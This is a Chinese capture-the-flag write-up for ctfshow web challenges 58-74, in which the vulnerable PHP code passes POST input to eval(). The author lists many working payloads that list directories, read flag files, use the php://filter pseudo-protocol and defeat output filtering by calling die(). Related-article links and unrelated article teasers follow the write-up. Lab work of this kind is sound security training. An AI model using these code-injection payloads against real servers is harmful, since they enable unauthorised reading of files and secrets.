ctfshow web入门 命令执行 web58-71
都是 POST传递参数 执行 eval() 函数
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
没有进行任何过滤
输入c=system(ls);

报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用


fgetss()被弃用

可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式
知识点:
1、读取目录函数:glob()、scandir()、dir()、readdir()
2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()
3、显示文件内容函数:show_source()、highlight_file()
4、读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()
5、无法直接读取文件函数:fpassthru()、fread()
6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()
7、文件包含函数:include()、include_once()、require()、require_once()
由于自身水平受限,仅知道以上函数,欢迎补充
payload
此处以 web58 为例,写了多种解法,后续的题都可参考
//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir(".")))); // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*"))); //glob("*")读出数组为 flag.php index.php //这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
//直接读取文件内容
c=highlight_file('flag.php');
c=show_source('falg.php'); //先读取,再输出,下列需要右击查看源代码
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
c=print_r(readfile('flag.php'));
c=print_r(php_strip_whitespace('flag.php')); //需要先打开文件,再读取内容,最后输出
c=fpassthru(fopen('flag.php','r'));
c=print_r(fread(fopen('flag.php','r'),1000)); //文件包含
c=include('flag.php');var_dump(get_defined_vars()); //文件包含传递伪协议
POST
c=include $_GET[1];
GET
1=php://filter/read=convert.base64-encode/resource=flag.php

然后对获取的字符进行base64解码
web59
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了
解法参考58
web60
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
禁用 file()、fpassthru()、fread()
解法参考58
web61
禁用fopen(),解法参考58
62-65
没测出禁用了啥,解法参考58
web66
禁用show_source()

假 flag
此处尝试查看其他目录,在根目录发现 flag.txt 文件
c=print_r(scandir("../../../"));

payload
c=highlight_file("../../../flag.txt"); // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../
c=highlight_file("/".pos(array_slice(scandir('/'),6,1))); //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持
c=include('/flag.txt'); //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变
web67
禁用print_r(),可用var_dump()替代,同66
web68
禁用highlight_file()
var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容
payload
c=var_dump(php_strip_whitespace('/flag.txt'));
web69
禁用var_dump()
常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()
payload
c=printf(php_strip_whitespace('/flag.txt'));
c=var_export(php_strip_whitespace('/flag.txt'));
web70
可以看见禁用了 error_reporting()、ini_set() 、highligth_file()

解法同69
web71
69 的两个 payload 依旧有效,但输出结果全被替换成 ?

在71关前附加了index.php文件

index.php文件
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
} ?> 你要上天吗?
两个都是涉及 php 的输出缓冲区
ob_get_contents():获取输出缓冲区内容
ob_end_clean():清除关闭缓冲区
利用 die()、exit() 终止程序,只执行下列代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
payload
//只需要在 69 的基础上加上die();
c=printf(php_strip_whitespace('/flag.txt'));die();
c=var_export(php_strip_whitespace('/flag.txt'));die(); c=include('/flag.txt');die();
web72
使用 glob:// 伪协议扫描根目录,需要使用uaf脚本,但看不懂
web73
//先查看目录
c=var_export(scandir('/'));die();
//获取flag
c=include('/flagc.txt');die();
web74
参考
https://www.php.cn/blog/detail/6095.html
https://blog.csdn.net/weixin_43197795/article/details/118113703
ctfshow web入门 命令执行 web58-71的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道
介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...
- 【CTF WEB】命令执行
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
随机推荐
- Linux 常用命令(测试于CentOS8版本)
一.文件及文件夹操作 mkdir test #创建文件夹 默认在Home/test touch test.js #创建文件 默认Home/test.js touch test/test.js #创建文 ...
- Three.js 进阶之旅:物理效果-碰撞和声音 💥
摘要 本文内容主要汇总如何在 Three.js 创建的 3D 世界中添加物理效果,使其更加真实.所谓物理效果指的是对象会有重力,它们可以相互碰撞,施加力之后可以移动,而且通过铰链和滑块还可以在移动过程 ...
- GoLang 的协程调度和 GMP 模型
GoLang 的协程调度和 GMP 模型 GoLang 是怎么启动的 关于 GoLang 的汇编语言,请查阅 参考文献[1] 和 参考文献[2] 编写一个简单的 GoLang 程序 main.go, ...
- Diffusers库的初识及使用
diffusers库的目标是: 将扩散模型(diffusion models)集中到一个单一且长期维护的项目中 以公众可访问的方式复现高影响力的机器学习系统,如DALLE.Imagen等 让开发人员可 ...
- CPU持续100%分析并解决
背景 接到客户电话,说某系统数据库服务器CPU利用率从上午8点开始到现在基本上都是100%的情况,影响到了业务.让给看看是什么原因导致的,怎么紧急处理一下. 现象 查看CPU利用率,确实一直是90%以 ...
- Python实战项目6-后端多方式登录接口/手机登录接口
为开源项目共享代码 步骤: 1先fork开源项目 2clone下来,修改代码,进行提交 3提交pr,等作者同意 Pycharm 使用Git 右键文件会列出Git命令 登录注册功能分析 多方式登录接口: ...
- REST风格开发
使用测试工具 测试工具中 总结 @RequestBody:接收请求体参数Json @RequestParam:接收路径参数,包括表单 @PathVariable: 接收路径变量的. Rest风格优化 ...
- 2.4 在DispatcherServlet的service方法中,通过ServletPath获取对应的Controller对象
@Override protected void service(HttpServletRequest request, HttpServletResponse response) throws Se ...
- 使用Java API操作Neo4j
使用IntelliJ IDEA (Jet Brains) 创建java工程 把下载好的neo4j包中的lib文件下的所有jar文件复制到工程Neo4j_Project的lib文件夹下(若无lib文件夹 ...
- CodeGym自学笔记08——交互对象
交互对象 用 Java 语言编写的每个程序都由类和对象组成. 1."Java 程序员就像设计工程师一样,只是他们不制作蓝图,而是编写类.船舶零件是根据蓝图制造的,而对象是基于类创建的.&qu ...
